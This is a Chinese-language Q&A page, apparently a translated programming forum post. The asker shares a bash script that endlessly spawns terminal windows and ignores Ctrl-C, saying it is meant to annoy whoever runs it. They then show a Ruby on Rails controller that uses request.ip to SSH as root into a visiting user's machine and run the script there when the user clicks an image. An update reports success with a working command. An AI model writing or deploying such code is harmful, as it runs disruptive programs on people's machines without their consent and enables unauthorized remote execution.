首页 > 解决方案 > 在远程主机上运行本地 bash 脚本

问题描述

我有这个 bash 脚本,它反复打开一个终端而无法关闭它们并一个接一个地保留。目标是惹恼任何碰巧执行此程序的人。这是它的源代码:

#!/bin/bash
while true

do
  gnome-terminal -x sh -c "./<name-of-script.sh>; bash"
  clear
  sleep 1
  trap '' 2
  exit
done

我已经对此进行了测试,它确实按照我想要的方式工作。我想要做的是在远程主机上执行这个脚本。在 ruby​​ on rails 网站上,我设置了一个图像以尝试通过单击它来运行此脚本。当有人这样做时,他们将运行一个名为 call_script2 的控制器函数,这就是我目前所拥有的:

def call_script2
   remote_ip = request.ip
   #system("scp /home/ncs/<script.sh> root@#{remote_ip}:/root/")
   system("ssh root@#{remote_ip} sudo home/ncs/./<script.sh>")
   render 'script/index'
end

我想要完成的是当他们单击某个图像时在远程主机上运行 bash 脚本的内容。如您所见,我尝试将主机的脚本上传到根目录下,然后尝试运行 bash 程序,但没有成功。如果这做不到,我完全可以使用 SSH 以外的东西。

请随时分享您对此的想法,并感谢您花时间阅读我的帖子。祝你有美好的一天!

更新:我能够通过使用以下方法来实现这个目标:

    system("ssh -t root@#{remote_ip} DISPLAY=:0 ./Thorgrim.sh")

感谢所有对这篇文章发表评论以帮助我的人!

标签: bashsshruby-on-rails-5remote-execution

解决方案


推荐阅读